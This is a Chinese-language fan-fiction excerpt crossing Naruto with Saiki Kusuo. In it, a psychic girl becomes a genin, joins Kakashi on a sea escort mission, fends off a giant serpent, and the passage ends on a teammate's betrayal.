“楠子,今天你终于成为一名下忍了。” 是的,时隔一年,齐木楠子终于“学会了”三身术,她“动情”地对上了大蛇丸同样“欣慰”的目光。 “谢谢您,师父,如果不是您的教导,我恐怕无法取得这样的成就。”她的泪光闪闪,就隐藏在那副平光镜下。 “楠子。” “师父!” “楠子!” “师父!” “喂,兜,你好像在想什么不好的事。”大蛇丸看向了药师兜。 ‘不是好像,而是就是。’ 拿着手中的护额和下忍证书,楠子的眼睛已经斜向了那边的兜。 而这边的大蛇丸心中也抱怨起来。 【真是可恶的小鬼,一点感激之心都没有吗?】 ‘喂,大蛇丸,你的心智和7岁的药师兜差不多了哦。’ 楠子的目光游了过来,迟疑了一下,还是深深鞠了一躬。 “谢谢大蛇丸大人的指导。” 当然,最后都没派上什么用场,自己还是使用作弊的手段,模拟出了三身术。 对! 变身能力代替变身术。 超高速移动,让下忍老师以为自己使用了分身术。 至于替身术,则是抛出烟雾弹,而后趁着烟雾,放下一截木头就跑。 ‘呼,还真是辛苦我自己了。’ 楠子心有戚戚,但明显更心有戚戚的是大蛇丸。 作为一个有着超高智商的天才,他的信念一直是“人怎么可能学不会三身术呢”? 可是面对这个分明脑袋很好使的弟子,却像是对上了呆瓜。 如果不是齐木楠子确实很擅长科学研究,他真的想把她一脚踢出根组织的大门。 ‘呀嘞呀嘞,也不必想着把我踢出大门之类的事吧?大蛇丸!’ 楠子虚着眼睛,看着大蛇丸抛来一个卷轴。 “我想了一想,你的第一个任务,还是由别的忍者带着你吧。”大蛇丸嘴角挑出一抹邪笑。 楠子装作“意外”,“不和根组织的前辈一起吗?” “还是一步一个脚印来吧。”【区区一个医疗忍者,治疗术还没有兜用的熟练,到底能做什么任务啊!】大蛇丸随意地挥手。 ‘哎呦,我可是听到了啊。’楠子木着脸。 她的所谓的治疗术,可是可以瞬间将人拉回到未受伤的状态,哪怕是复活也可以做到。 但是那也太惊世骇俗了,她不得不小心使用,导致她在大蛇丸眼中成为了一个实践方面的白痴。 ‘呀嘞呀嘞,你都不知道你错过了怎样的天才。’楠子深深看了一眼大蛇丸抄手走开的背影。 “楠子姐,不要生气了嘛,大蛇丸大人根本不知道吖。”药师兜跟了上来。 楠子的目光又移到了对方的脸上,‘啧……说是让兜警醒一点,但是最后还是被大蛇丸迷惑了。’ “兜。” “什么?” “要是你敢办什么庆祝我成为下忍的派对,并且想着借此来嘲讽我,甚至邀请卡卡西的话……”楠子的语气平淡,居高临下地俯视着药师兜,“你就……死·定·了。” “呃?!!”【糟糕!计划全被看穿啦!】 楠子看着药师兜苦着脸保证绝对不会发生那样的事,而后一溜烟跑远,目光终于落在了自己手中的卷轴上,眉毛终于挑了挑。 “集合地点,是公园吗?” ----------------- 青涩的风穿过木叶的树梢,阳光被轻轻揉碎,如同花瓣一样铺陈在地面,也洒落在一个人的身上。 一身深色的内搭,骚气地露出了里面的渔网衣,外面则是绿色的中忍背心。一手插着兜,一手则正拿着任务卷轴细读。 被梳得整齐的发丝偏偏留下来一缕,下面则是厌烦皱起的眉毛和上挑的眼角,似乎总带着那么一点如同夏日熏风般的烦躁。 这就是奈良鹿行,已经升为中忍,但是依旧在和自己这个十二岁少女争夺“最强头脑王”称号的奈良家公子。 ‘呀嘞呀嘞,难不成大蛇丸是终于想把我扫地出门了吗?’ 楠子加重了脚步,走上前,“奈良前辈。” “嗯?”鹿行抬起了眼,用下巴看她,“我不是说了,叫我鹿行就行了吗?” “好的,鹿行前辈,还没祝贺你升任中忍呢。” “呵,这没什么难的。”鹿行似是不经意地拂了拂自己中忍背心领口上完全不存在的灰,只是那嘴角的笑意遮掩不住。 【终于压你一头了啊!齐木楠子。】 ‘不是,如果按照忍者资历来说,你早就压我一头了啊。还有,如果不是为了奖金,最强头脑王的称号给你也行呀。’ 楠子干脆偏过头,“还有一位前辈在哪里呢?” “哦,是我的好友,名叫野野村翠。” “是个女生?”楠子有些意外,忍者不都是两男一女一组吗?还有,如果不是男生的话,那么树那边藏着的人是…… “哦,不,是个男生,他应该马上就来了。”鹿行不在意地将卷轴收好,看向了楠子,“他的实力还算不错,但是这次不过是个C级任务,所以应该没什么危险。” 说着,他看着楠子的目光逐渐变化,嘴角涌现出一抹相当怪异的笑。 楠子的眼睛也是一跳,因为她已经感受到了有人在靠近。 身后的树影中,有人轻巧落地,没有发出一点点声音,就如同一只飞鸟在柔风中吻上了波光粼粼的湖面。 她慢慢转过头,一头银灰色的头发闯入眼中,在阳光下闪着亮色的光辉,而后则是一双努力显得有精神的眼睛和其下黑色的面罩。 ‘旗木……卡卡西。’楠子几乎有一瞬间的恍惚,而后才暗自撇嘴,‘怎么还是老样子啊。’ ----------------- 【干嘛这样看着我啊,刚才的落地难道不帅吗?】 卡卡西一手叉着腰,挑眉看着对面的齐木楠子,甚至没发现楠子居然注意到了他那无声的落地。 时间不会等待任何人,这一年间,自己同父异母的妹妹旗木美美子已经出生。 老师波风水门和心爱的漩涡玖辛奈举办了婚礼。 而他已经从一位中忍成为了能够独当一面的上忍。 楠子也变了。 大约是因为很忙,她似是又瘦了。 淡紫色的羽织松散披在身上,遮掩住了内里的紧身衣,紫色的腰带在腰间一束,固定成蝴蝶结的模样。 粉色的短发已经逐渐留长,如同倾泻下的花瓣围绕在那张白釉一般的面容两侧,越发衬得她柔婉可爱。 但那双深紫色的眼睛却显得冷静而神 秘,偶尔泄露出一点儿情绪,也都像是被春风吹动的水波,紧紧锁在了那副平光镜下,时不时就因为反光而看不清里面的神色。 这样的她显得既有些陌生,又有些熟悉,尤其那双眼睛低垂时,唇角轻抿的样子。 “哈,楠子,你看起来一点都不惊讶,果然是知道卡卡西已经成为上忍的事了吗?” 【这有什么好惊讶的?】卡卡西颇有些不满的挑眉,“奈良前辈,你是不满我先你一步成为上忍的事吗,还是觉得我没有资格?” “倒是都没有呢。”讨厌的奈良鹿行摇了摇头,只是嘴角的笑不怀好意。 卡卡西自然不会在意他,只是看着楠子无动于衷的侧脸,还是会觉得气闷。 说起来,他和奈良鹿行之间也没有什么深仇大恨。 只是他最近才知道,自从第一届《最强头脑王》以来,奈良鹿行就动不动以楠子的对手自居,时不时的来找她参加比赛。 他看准了楠子需要钱,所以只介绍一些具有丰厚奖金的比赛。 围棋、益智问答、将棋、五子棋…… 就在这一年间,楠子和奈良鹿行几乎都要被这些比赛“封杀”了。 而他旗木卡卡西和楠子最近一次见面,还是在一个月前。 那个时候,他刚刚成为上忍。 “我听说,你成为上忍了,恭喜。啊……你在看这个礼物吗?”楠子将手中的手提袋提了起来,眼神中没有一丝抱歉,“因为感觉送你礼物会让你误解,所以我就没准备。……至于这个,这是送给带土的,他成为了中忍嘛。” “咻!” 他的心脏仿佛狠狠中了一箭,明明应该很伤心难过,甚至要痛苦的死掉,但是不知道为什么,他就是觉得很开心。 或许是因为楠子终于又和他说了很多话吧?还是因为这是隔了两个月的见面? 没有办法,忍者的生活太繁忙了,若是楠子像是玖辛奈一样无事可做也罢,可她偏偏有很多事情。 有关孤儿院的,有关研究的,有关忍术的…… 听说大蛇丸大人几乎是赌咒一般说,如果教不会她三身术,就不放她出门(或者要把她踢出门)。 仅仅是想到这里,他就又想要笑了。 【但这可是在任务中呢。】卡卡西拧着眉头,憋住了嘴角的笑意。 可原本的激动和在意,又在楠子漠然的眼神中一点点冷却,乃至成为一个有些冷漠的弧度。 “应该还有一个人吧?鹿行前辈?”楠子转开了目光,再次问道。 “啊,是我的好友,野野村翠。”聪明的奈良鹿行就像没介绍过一样,看向了卡卡西,“他的实力一般,不过已经承担下忍任务许多年了。” 卡卡西落在楠子身上的目光一滞,点了点头,闷声说:“我知道了。” 这不是他第一次执行上忍任务,早就将几人的资料记忆清楚。 擅长影缚术,适合沟通任务的奈良鹿行; 各方面都平平的下忍野野村翠; 以及据说是已经通过医疗忍者考核的齐木楠子。 这就是此行的队伍。 【不行啊卡卡西,如果这么简单就动摇了,还怎么让楠子看到你帅气的一面呢?】 卡卡西抬起眼,看着远处气喘吁吁跑过来的野野村翠,终于开口: “关于这次的任务……” 39.暴风 ‘有些奇怪呀……’楠子的目光划过了一脸抱歉的野野村翠,开始认真听卡卡西的任务说明。 前面略过,后面略过,总之,这次的任务就是护送火之国的一位官员前往海之国洽谈。 因为就在火之国边境附近,所以在这个人员紧张的时候,只派了卡卡西这样年轻的上忍。 如果这队伍里只有奈良鹿行,那么获得的情报就只有这些。 可是这里偏偏还有一个会心灵感应的齐木楠子。 【太幸运了!都只不过是十几岁的小屁孩,只要到时候将他们迷晕,那么就能轻松将钱转移走了!】 大腹便便的官员在阴影里邪笑。 ‘钱?什么钱?’被动接收到重点信息的楠子“伸”长了耳朵,沉默了几秒,又使出了透视。 巨大的船舱里,密密麻麻堆放着几十个箱子,再一看,里面竟然都是金银财宝。 ‘哦呼!这是怎么回事?’楠子的眼睛都亮了起来。 不怪她如此。 因为除了孤儿院,她还有个雨隐村要顾。 虽然有了土之国—雨之国—火之国的贸易线,她在一年内的研究期间内也默默搞出了一些小发明帮助雨隐村致富。 但是先天虚弱就是先天虚弱,那里雨水太过丰沛,除非楠子改变那里的气相规则,或者每过一段时间就去制造一个“太阳”结界,否则的话,许多植物都无法在那里生活。 楠子并不想那样做,就像是她对泉奈说的,依靠她的力量获得的经济增长,只能造出一个神,完全不能鼓舞人心。 她没有当神的意思。 这个官员本身就是要携款潜逃,那么她破坏对方的计划,而后,再从其中偷偷拿走一部分,送到雨隐村那里,也无妨吧。 ‘只要三分之二,不,二分之一就好了。可是,卡卡西知道这件事吗?’楠子的目光隐蔽地落在了卡卡西的身上。 对方若有所思。 【船的吃水深度有问题,帕克已经去船舱了,只要拿到官员要逃跑的证据就行。……等等,这个视线?是楠子吗?】 他瞥过来一眼。 楠子则早已转过了目光,‘真是敏锐啊,卡卡西。只是,卡卡西的任务如果是阻止这个官员的话,我真的要把钱偷走吗?会给他惹麻烦的啊……糟糕。’ “嗯?”正前方的奈良鹿行回过了头,“你看着我做什么?” 楠子虚下眼,“……我只是在发呆而已。” “好啊!那就来下一盘围棋吧!” 楠子略带无语地看着奈良鹿行不知道从哪里拿出来一个便携棋盘。 野野村翠苦笑道:“这可是在任务中呢,鹿行。” “没事的,有卡卡西在,一切就都没问题吧。”他说着,好似在嘲讽卡卡西一般,而后又转向了那名官员,“鲁芳大人,楠子可是我们村有名的围棋高手,您要来一局吗?” “不了不了。”那官员摆着手,眼底还有着轻蔑。【不过是忍者,还是个小女孩,怎么可能下好棋?不过,船上也没什么乐子了,嘿嘿。】 楠子看着这一切,如果不是有心灵感应,恐怕她也搞不清楚是发生了什么。 ‘呀嘞呀嘞,鹿行前辈如果是想要让我缠住这个官员,好给卡卡西查探的时间的话,至少要给我说一声啊。’楠子嘴角微动,勾出了一个浅淡的笑,看向了那名官员。 “那个,说我棋艺好,可在木叶也只是坐井观天而已,如果可以的话,可以让鲁芳大人指点我一下吗?” 她笑眯眯的,说完这句话,额头却接连跳出了几个十字。 【喂喂,虽然你明白了我的意思,但是可不要做出这幅表情啊!卡卡西好像要杀了我一样!】这是奈良鹿行的想法。 【不对吧?她是这样的性格吗?不应该面无表情地说吗?】这是野野村翠的。 至于卡卡西,楠子不想说,因为他那半眯起来的目光已经说明了一切。 ‘可是,还是任务比较重要吧?’楠子心想着。 果然,纵然不赞同她和官员有过深的接触,卡卡西也没有阻止。 ----------------- ‘呀嘞呀嘞,棋力确实不错呢。’ 楠子的嘴角出现了一抹浅淡的笑意,抬手放下一子,在鲁芳不甘心的眼神中,将一片棋子提走。 【可恶!又要输了吗?】鲁芳如同生气的牛一样瞪大了眼睛,而后大手一挥。 “你作弊了吧?绝对是!你说,是不是用了什么奇怪的忍术?!” “呃?鲁芳大人,您是说,我这个十二、三岁的小女孩,在下围棋的时候,通过忍术作弊吗?”楠子掩住了口,满脸都写着诧异。 “那你区区一个忍者!怎么能一直赢!”鲁芳嚷嚷起来,“还说你没有作弊!” “没有。”楠子无语至极,输不起的大人她也见过一些,但是面前的人毕竟是在官场混过的,怎么能这么沉不住气呢? “鲁芳大人,楠子本来就很擅长棋艺,您也不能因为输了就气急败坏吧!” 楠子目光一顿,落在了旁边试着拉住鲁芳,话语却在挑拨离间的野野村翠身上。 ‘果然很奇怪啊?’这个人是讨厌自己吗? 她分明没有从对方的心音中听出任何恶意。 正当她愣神的时候,只听“哎呦”一声,鲁芳居然猛地挣开了野野村翠,扑到了桌边,一把掀飞了棋盘,黑白两色的棋子如同炸开的烟花一样弹射到空中。 ‘不能躲。’楠子试着用手臂遮挡,却感觉腰部传来一个力道,带着她朝着身后一转。 额头重重地磕在一个不算宽阔的胸膛之上,无论是后脑还是腰部,都传来强硬的力度,重重地烙在身体上。 要让齐木楠子说,那当然会心跳加速啦! 除了父母和那不靠谱的哥哥,她可是几乎从来没有和人贴得这样近过。 ‘啊……不,好像有,但是一直都是卡卡西。’ 这样一想,楠子就冷静了下来,连有些发红的脸也慢慢恢复正常。 “鲁芳大人,只不过是输了而已,不至于发这么大脾气吧?”卡卡西的声音严厉,连眼睛也如利剑一般盯视着鲁芳,仿佛此刻被他搂在怀里的齐木楠子不是一个忍者,而是一个普通的女孩。 “呃!”鲁芳干脆脸一板,“呵!你们懂什么!” 他说着,干脆也不再理会几人,在卡卡西的盯视下,迈着四方步出去了。 楠子也望着那边,半晌道:“他拿走了我的钱袋。” “什么?”卡卡西猝然回神,就注意到此刻的情况。 他将楠子搂在了怀中,而一边的野野村翠正托着下巴若有所思地看着。 卡卡西的脸顿时涨得通红,【方才没注意……等等,楠子没有推开我,那么……】 他才这样想着,就感觉胸膛上传来一 个力量。 楠子伸出了白皙的指尖,顶在了他的胸口,微一用力,他就不自觉地松开了手。 野野村翠默默看着,说:“那应该不是你的钱袋吧?” “我赢的,就是我的。”控制着自己的神情和脸上的热度,楠子面无表情。 强自忽略了卡卡西混乱的心音和野野村探究的神情,她侧过脸,看了看舷窗外面。 “好像,会有暴风雨的样子。” “是吗?”野野村凑了过来,“可是不像啊。” 是的,外面万里无云,阳光灿烂。 卡卡西也同样看向了外面,他的余光扫过了镇定的楠子,微一咬唇。 “我去问问船长。” 他说着,走了出去。 船舱里只剩下了野野村和楠子,两人静默立着。 几秒后,还是野野村叹了口气:“楠子,你和卡卡西很熟吗?” “还算可以吧。” 野野村的目光转了过来,带上了几分探究,“那么,你知道他喜欢你吗?” 这下轮到了楠子沉默了,指尖微动,抬起脸迎上了对方的目光,“是这样吗?我……倒是不清楚呢。” 这下,房间里寂静无声,只有海浪拍打着船舱,呼啦呼啦,推动着船儿向前了。 ----------------- 楠子其实没想到卡卡西会信任她的判断。 他做任务的经验可比自己丰富,可未曾想,他居然真的告诉了船长,惹得对方一阵哈哈大笑。 “不可能,我可太熟悉这片海域了,像这样的天气,根本不可能有风暴!” “我的队友可不会随意开口。”卡卡西的眉头并未松开,“还是小心点好。” “好、好,忍者大人。” 船长明显敷衍,在船舱里看到这一幕,又将众人的心声“听”入耳中,楠子只是沉默。 傍晚之时,风吹帆动,乌云汇集,不过一会儿,豆大的雨点就噼里啪啦砸了下来。 风浪越发狂躁,他们乘坐的小船就像是水盆里的玩具,被小孩的手拨来扭去。 “怎么办?”鲁芳顶着雨冲着船长怒吼,“不是说不会有风暴的吗?现在是要怎么办?!” “靠岸!必须先找地方下锚!这里不行!”船长同样吼了回来。 卡卡西也眉头紧蹙,隐蔽地看了一眼鲁芳,回头低声说:“楠子,你跟着翠前辈,看住船舱的大门,鹿行前辈,你和我在甲板!就算护送任务完成不了,我们也要安全回去。” 【现在这情况,需要看紧鲁芳。楠子第一次出任务,怎么就遇到了这样的情况?如果她受伤了,或者船出现了问题……】 他的心音因为这复杂的情况有些混乱。 “卡卡西。” 平静的声音如同天籁,卡卡西回过了头,看向了楠子。 “我好歹也是个忍者,可不要小看我啊。”楠子面容平和,“去做你需要做的事,不用担心。” 卡卡西怔然的神色微微收敛,面罩下,他的唇角似乎抿出了一个极细的弧度。 “嗯,楠子,你要小心。我会让帕克和你们一起。”他轻声说着,带着鹿行往前而去。 在野野村晦涩的目光下,楠子面色不变,但心情却如灿烂晴天。 她步伐坚定,转身向着底部的船舱走去。 ‘我的,都是我的!金山银山,我来了。’ 40.海战 甲板上,卡卡西盯住了鲁芳。 “鲁芳大人,这种情况,您还是快点回到船舱里吧?” “不、不要!怎么会下雨的?!”鲁芳牢牢抓住了甲板上一处固定的地方,风雨灌进了他的嘴巴,但是他却依旧坚持站在这里,脑袋不断地四处张望着。 卡卡西紧蹙起眉。 就在这个时候,一只忍犬“汪汪”叫着,从船舱里跳了出来。 “帕克?你怎么……” “别说话,卡卡西。”忍犬帕克跳入卡卡西的怀中,压低了声音,“楠子说,可能有大型生物在靠近,要你务必小心。” “什么?!”卡卡西猛地一怔,抱着帕克,一跃跳到了桅杆之上,目光转过一圈。 大海广阔无垠,一边能看到如同黑山般的暗影。 而另外一边,则只有月光下一片黑沉沉的影子,在汹涌的波涛之中漂浮无依。 卡卡西脸色都要白了。 他会水属性的忍术,可这不代表他能在这里救下这一船人! 【还有楠子,这是她第一次出任务,肯定十分期待。】楠子:‘抱歉,并不。’ 【她也没有见过海,不知道大海的莫测。】楠子:‘其实见过。’ 【她还只是个才学会三身术的下忍,说是医疗忍术,但是其实恐怕只能让小伤口愈合吧。】楠子:‘不好意思,区区复活还是做得到的。’ 总之,卡卡西忧心忡忡,第一次在任务和队友之间踌躇。 这倒不是说他之前没有遇到过困难的任务,只是无论是琳还是带土,在他心中都能照顾好自身安全。 【可是楠子,楠子她……】被小瞧了的世界最强超能力者齐木楠子:‘……我是不是装过头了,果然……既然忍术不行,要么在体术上加一些点数吧?’ 卡卡西心里想着,已经做下决定,他拉扯住奈良鹿行。 “鹿行前辈,那边有怪物,你带着楠子和翠,和船上的人一起乘小船先走!” “可是,这么大的风浪……” “没什么可是的!鹿行前辈,就算是在这里,我们也不能保护所有人!还是说,你能有什么好办法?”卡卡西目光尖锐。 奈良鹿行几乎像是被刺了一下,咬紧了牙,“我去通知。” “等等,”卡卡西目光灼然,压低了声音,“打晕鲁芳!你知道我们的任务是什么吧?” “……当然。”奈良鹿行答应着,在船工们诧异的视线之中,打晕了鲁芳这个任务委托人,而后又招呼着船长带着船工放下小船。 “不、不可能!我不要抛弃我的宝贝大船!”船长还在大叫着,可是似乎知道了已经被他们发现,海面骤然掀起数重波涛。 一条巨大的长蛇浮出海面,四十米长的身体像是一环套着一环的环节动物,昂起了头,那双三角眼如同灯火,在月光下熠熠闪光。 “不不不!我们快走!”船长干脆改口,一抬腿就越过了所有人,向着船尾的救生艇跑去。 ‘等等!’扛着鲁芳的奈良鹿行最后看了眼已经迎上了巨大海蛇的卡卡西,冲着同样担忧的帕克说:“帕克!你去通知楠子!” “汪!”帕克冲向了船舱。 ----------------- ‘呀嘞呀嘞,第一次出任务就是这样大的阵仗呢。’楠子靠在船舱壁上,船儿摇来晃去,她也随着那船壁晃动。 “楠子,你好像一点都不紧张呢?”野野村突然搭话。 “嗯?这种时候,担心也无用吧?”楠子平静道。 “可是,你怎么知道有大型怪物靠近呢?” ‘一是因为我一直注意着周围的情况,二当然是因为……前辈你的心声令我警惕啊。’ 一直在说,好烦呐,居然要陪这些小孩子玩忍者游戏。害得她甚至扫描了一下野野村的骨龄,结果就发现,他其实和奈良鹿行差不多大。 ‘这样的年纪,看不起同龄忍者可不行。’ 可是,野野村翠似乎有那样的资本,他在船尾撒下了什么东西,就为了引“海次郎”来。 楠子有些好奇“海次郎”究竟是什么,于是也未曾阻止,没想到,居然是一条巨大的海蛇。 那不是通灵兽,甚至也没有多少智商。 所以,卡卡西应该能对付吧? 不过就算对付不了也没有关系,毕竟她在这里了嘛。 现在的问题,就只是…… 她到底要不要把船舱里的财宝都转移走啊! ‘啧……居然还是想对我出手了啊,你这个看不起人的人渣。’ 楠子掀起眼皮,正欲动作,心中微动,脸上换作了诧异的神情。 “楠子,卡卡西让你们赶快跟着鹿行坐上小船去荒岛那边。”帕克跑了过来。 野野村翠似是一惊,隐蔽地看了一眼身后的舱门,忧心忡忡道:“楠子,那我们就快走吧。” 楠子像是迟疑了一下,点点头,快速抱起了帕克,向着外面冲去。 那边奈良鹿行已经和船长一行人将小船收拾好,就差他们了。 “你们怎么这么慢?”船长大叫着,等到两人一狗一跃跳上小船后,就快速指挥船员向远方的荒岛划去。 这片水浪翻涌着,几乎要将小船掀翻。可是不知道是因为这艘小船挺大,还是因为有海神保佑,竟然也跌跌撞撞地向着那座荒岛漂流而去。 ‘骗人的,当然是因为有我这个海神了呀。’楠子想着,目光朝向了大船的那一边。 卡卡西那边雷光电闪,正是他使出雷属性忍术的模样,但海蛇没有智商,只懂得挥动尾巴痛击船体,而卡卡西的动作却十分灵活,像是一条闪电穿梭在空中。 ‘哦呼,确实还是很帅气嘛。’ 因为一切尽在掌握,她甚至没有什么惊讶、紧张的感觉,只是像是附和周围人一样,露出相似的神情而已。 可是就在这个时候,楠子目光一闪,巨大的桅杆被蛇尾打断,向着这边落下。 海浪将小船呼地顶起,推搡着它向着远方的荒岛冲去,直到将这个小船啪嗒一声打在了荒岛的岸上。 众人如同饺子,惊呼着落下。 奈良鹿行前辈却已经经验丰富地使出了忍术,将所有人平稳接下。 “楠子!”奈良鹿行惊叫着,看着楠子趴在了地上,不省人事。 而后他猛地回头看向正在拧衣服上水分的野野村翠,众人也随着看过去。 “快点救人!” 野野村翠紧蹙着眉,看着楠子半晌,点了点头。 ----------------- 另一边,旗木卡卡西仍在与大海蛇鏖战。 硕大的雨点如同石子,狠狠砸在一人一蛇的身上。 可雨水带来的影响截然不同。 对于身形庞大的海蛇而言,这击打如同挠痒,没有 半点威胁。 但对旗木卡卡西来说,骤雨模糊了他的视线,雨水打湿刀柄,让他握刀的手掌愈发湿滑,唯一能作为支撑的船体随海浪起伏摇晃,简直就像是蹦蹦床一样。 他年纪轻轻便跻身上忍,是公认的天才。 可此刻,暴风、骤雨以及周围海水所造成的阻碍真实存在。 他的目光越过翻腾的海面,远远望向那片阴沉漆黑的山脉。 【楠子他们应该已经到了岸上了吧?】 仅仅是一瞬的分神,脚下的大船因为汹涌的海浪偏移了一寸。 就是这微小的变动,让他脚下骤然打滑。 【糟糕!】 卡卡西心中暗叫,下意识想要稳住身形。 可来不及了。 大海蛇的巨口已然张开,裹挟着腥咸海风,直直朝他咬来。 他本能抬起手臂格挡,目之所及,那条大蛇像是被无形的力道扇中,猛地偏过巨大的头颅。 海蛇昂起脖颈,甩了甩脑袋,随即再度露出凶相,死死盯住卡卡西。 【怎么回事?】卡卡西眼底掠过一丝惊愕,可是他方才就想着利用海蛇借力离开,现在脚下反而落了空! 他摔落在甲板上,感到一阵尖锐的刺痛。 他竟然崴到了脚? 这失误本不该出现在他身上。 伤势加持,局势愈发不利,撤退成了唯一的选择。 他快速扫视四周,目光在混乱的甲板上搜寻。 只要能找到一块木板或是浮木,他便有把握从这里脱身。 至于救援,奈良鹿行擅长影缚术,并不适配水上战场;野野村翠的能力同样受限;至于楠子,她只要不受伤就好。 这样的想法在脑海中一闪而过,卡卡西就地一转,抓住横扫而来的绳索,顺着倾斜的甲板快速滑行而下,堪堪躲开海蛇尾部的横扫。 而后伸手抱住一只木桶,手腕一转,刀尖利落割断固定木桶的绳索,连人带桶一同坠入冰凉的海水之中。 大海蛇粗壮的身躯猛地扭转,追逐着卡卡西的身影,坚硬的船身被它挤压变形,木屑如同子弹一样崩裂飞溅。 甲板上的杂物尽数倾倒滚落,就像是散射的弹幕。 【糟糕!】这已经是卡卡西今日无数次生出这个念头。 一块硬物径直朝着他的头顶砸落,他本能地想要使出替身术,嘴巴里却被灌入了一口海水,连印都没结出来。 就差这么一瞬,硬物重重撞上后脑,他的头脑骤然昏沉。扒住木桶的手指一点点松弛,身体不受控制地缓缓下沉。 【就……到这里了吗?楠子……】海水涌入了鼻腔和嘴巴,再加上头部的疼痛,这片海域在今天第一次沾染上血腥。 他只能看着朦胧水中,似乎映照出了天上之月。 银白色的光辉之中,一道淡紫色的身影骤然冲入浑浊海水,如同轻盈的鱼,紧紧抱住了不断下沉的他。 【是楠子吗?不可能的。】 她应该安全地呆在岸边,而不是在这里。 这个想法甚至让他的意识强自清明了一些。他能清晰地感觉到,一股稳固的力道正拖着他缓缓向上浮起。 【一定是我的幻觉。】 他在心底喃喃自语,意识如同退潮的海水般不断消散,却兀自撑着最后一丝清明。 只是一切如梦似幻,连他也分辨不清楚哪些是真,哪些是假。 41.落水 ‘明明直接用超能力把他捞起来就够了,我为什么要跳进海里?是突然间犯傻了吗?’ 齐木楠子面无表情,心底暗自吐槽。 她其实游泳技术不好,现在连衣服也湿了,怀里紧紧拉扯住昏迷的旗木卡卡西,借着超能力的悬浮效果,平稳朝海面移动。 那头大海蛇虽说神智混沌,却依旧死死拖拽着残破的大船,不肯松脱。 看来野野村翠原本的目的,就是借海蛇夺走船上的财物。 可船上的人呢?会被他放过吗? 方才她早已动用透视能力,探查过海蛇的腹腔。蛇腹之中只有鱼刺与未消化的海鲜,没有半分人类骨渣。 若是这头凶兽沾染过人命,她会毫不犹豫出手抹杀。 可眼下,她终究下不了狠手。 ‘谁让我本质上还是搞笑漫画里的人物呢?’楠子神色平淡,实际上却有些懊丧。 如果她是个真正的坏人或者反派就好了,哪用管这艘船? 可这船毕竟是船长和那些船工赖以为生的工具,这个世界又没有保险。 明明最好的办法就是让海蛇将船弄沉,她轻轻松松就能卷走所有财货,可是偏偏她出于现代公民的道德观就是不能允许。 ‘都怪这条蛇!’ 海蛇仍在肆虐,楠子心念一动,直接在它的意识里播放起摇滚乐。 激昂的“Wewill,wewillrockyou!”在海蛇脑海中不断回响,痛苦的它疯狂甩动硕大的头颅。 海蛇发出刺耳的尖啸,茫然地晃动身体,无法辨明脑海中突兀声响的来源。可哪怕是野兽,它也发现了,只要稍微松开船身,脑海中的噪音便会减弱。 片刻后,海蛇彻底放弃大船,扭头调转方向,朝着幽深的深海急速游走。 ‘这次就放过你了。’楠子瞥了一眼海蛇远去的背影。 她望向远处模糊的海岛轮廓,操控超能力将卡卡西平稳挪回安静的船舱。 借着船舱摇晃的灯火,楠子开始检查卡卡西的伤势。 他的后脑裂开一道狰狞的伤口,暗红的血液正源源不断往外渗出。 楠子抬手轻轻覆在伤口之上,狰狞的创口以肉眼可见的速度收缩、愈合,只留下浅浅的一道。 衣物上残留的血污没能被海水冲刷干净,颜色暗沉刺眼。 楠子叹了口气,动用能力将血迹从布料上剥离,随手蒸发殆尽。 就在这时,她捕捉到了卡卡西微弱的心声。 【是、楠子吗?】 卡卡西费力地想要睁开双眼,灯光随着船的波动而摇晃,眩晕感不断翻涌袭来。 他视线一片模糊,只能隐约看见一抹粉色发丝。 【等等,我……是落下水了吗?那么……是不是……人工呼吸?】 这个念头在卡卡西脑海中一闪而过。 下一秒,他原本被轻轻托住的脑袋骤然重重下落,彻底陷入深度昏迷。 ‘哎呀,失手了。可是……’ “人工呼吸个鬼呀!” 齐木楠子神情略显难看。 她素来知晓忍者任务凶险,可卡卡西向来从容强悍,永远一副游刃有余的模样,让她下意识忽略了他也会陷入险境。 她拥有时间跳跃的能力,无论多少次意外,她都能救下卡卡西。 可亲眼看见卡卡西满身伤痕、虚弱昏迷的模样,都会像是被钢针插入身体一般令人觉得不适。 ‘我本该清楚的……’楠子在心底苦笑。哪怕忍者实力再怎么强悍,在天灾面前,依旧渺小又脆弱。 她仔细观察卡卡西的面色,确认对方陷入深度昏睡,随后耐心检查他的全身伤势。 除了后脑的外伤,他身上还有不少木刺划出的细小划痕,脚踝处的扭伤最为严重。 可是她现在不能治愈。 等到卡卡西醒来,说不定都会怀疑原本应该落入水中的自己,为什么会在船舱里。 ‘就算你怀疑也没办法。’她做不出来在这种情况下,把卡卡西用某个船钩挂在甲板上的蠢事,哪怕那样才符合逻辑。 她垂眸看向安稳沉睡的卡卡西,在心底轻声默念:‘好好休息吧,卡卡西。今天的你,依旧很帅哦。’ 做完这一切,她转身带上船舱房门,眼底闪过一丝不易察觉的雀跃,‘我的财宝,我来了。’ 此刻的楠子并未察觉,船舱昏暗的阴影之中,一条细小的蛇悄然爬出。 纤细的蛇身绕着昏迷的卡卡西缓慢游走一圈,它歪着小巧的脑袋,懵懂地打量着眼前的人类,似是满心疑惑。 短暂停顿后,小蛇发出一声细微的轻响,骤然在原地消失无踪。 ----------------- 荒岛岸边,奈良鹿行费力眺望海面。 他望见海蛇庞大的身躯摇摆扭动,朝着深海远处离去。那艘历经劫难、莫名□□下来的小船,在汹涌大海上如同一片单薄落叶,随浪剧烈摇晃。 大雨依旧滂沱落下,距离遥远,他几乎看不清船上亮起的灯火。 奈良鹿行心中焦灼不安,既担心卡卡西的安危,也挂念方才昏迷的“齐木楠子”。 “翠。” 他的声音响起,盯着“齐木楠子”的野野村翠像是才回过神。 奈良鹿行没有察觉他的异样,径直开口提议:“我们得想办法登船,去看一看卡卡西的状况。” 野野村翠瞥了一眼“楠子”,语气淡漠:“那你就去吧,我留在这里照看她。” 奈良鹿行蹙起眉头,转头看向他。 他最擅长的是影缚术与智谋,平日里多负责谋划布局,近身作战并非强项。 反观野野村翠,虽不擅长侦查,体术却远胜于他。 按照常理,本应由身手更好的翠前去探查。 他正准备开口,胸口骤然传来一阵尖锐刺痛。 奈良鹿行低头望去,只见野野村翠乌黑的发丝垂落眼前,而他的手,已然穿透了自己的胸膛。 一旁幸存的船工们惊声抽气,却不敢插手忍者之间的厮杀,连忙四散逃窜,远远躲开这片危险的海岸。 奈良鹿行睁大双眼,虚弱地攥住野野村翠的手臂:“翠……为什么?” “哪有什么为什么。”野野村翠神情冷然,“这只是任务而已。” ‘任务?’ 奈良鹿行脑中纷乱一片,他无从知晓翠背后的隐秘任务,却清楚地明白,自己命不久矣。 这支小队的配置本就先天不足。 